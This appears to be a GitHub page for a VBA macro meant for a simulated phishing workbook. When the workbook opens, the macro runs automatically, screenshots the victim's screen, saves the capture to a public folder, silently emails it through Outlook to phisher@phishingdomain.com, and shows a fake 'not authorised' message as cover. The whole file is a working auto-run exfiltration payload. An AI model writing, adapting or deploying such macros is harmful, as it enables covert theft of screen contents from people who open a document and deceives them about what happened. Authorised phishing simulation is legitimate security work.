Permalink
Branch: master
Find file Copy path
8674bf1 Sep 25, 2018
1 contributor

Users who have contributed to this file

56 lines (47 sloc) 1.57 KB
'This document is part of an authorised, simulated phishing campaign.
'If you are reading this - nice work!
Option Explicit
Private Declare Sub keybd_event Lib "user32" (ByVal bVk As Byte, ByVal _
bScan As Byte, ByVal dwFlags As Long, ByVal dwExtraInfo As Long)
Private Const VK_SNAPSHOT = &H2C
Private Const EMAIL_TO = "phisher@phishingdomain.com"
Private Const EMAIL_SUBJ = "XLS pingback!"
Sub PrintScreen()
Application.Wait (Now + TimeValue("0:00:01"))
keybd_event VK_SNAPSHOT, 0, 0, 0
Application.Wait (Now + TimeValue("0:00:01"))
End Sub
Sub ExportFile()
Sheets.Add After:=ActiveSheet
ActiveSheet.PasteSpecial Format:="Bitmap", Link:=False, DisplayAsIcon:= _
False
ActiveWorkbook.SaveAs Filename:= _
"c:\users\public\export.xlsx", _
FileFormat:=xlOpenXMLWorkbook, CreateBackup:=False
ActiveWindow.SelectedSheets.Delete
End Sub
Sub Send_Email_Using_VBA()
Dim Email_Subject, Email_Send_From, Email_Send_To, _
Email_Cc, Email_Bcc, Email_Body As String
Dim Mail_Object, Mail_Single As Variant
Email_Subject = EMAIL_SUBJ
Email_Send_To = EMAIL_TO
Email_Body = "Files are attached"
Set Mail_Object = CreateObject("Outlook.Application")
Set Mail_Single = Mail_Object.CreateItem(0)
With Mail_Single
.Subject = Email_Subject
.To = Email_Send_To
.Body = Email_Body
.Attachments.Add "c:\users\public\export.xlsx"
.send
End With
End Sub
Private Sub Workbook_Open()
Application.DisplayAlerts = False
PrintScreen
ExportFile
Send_Email_Using_VBA
Application.DisplayAlerts = True
MsgBox "Sorry, your account is not authorised to view this data."
End Sub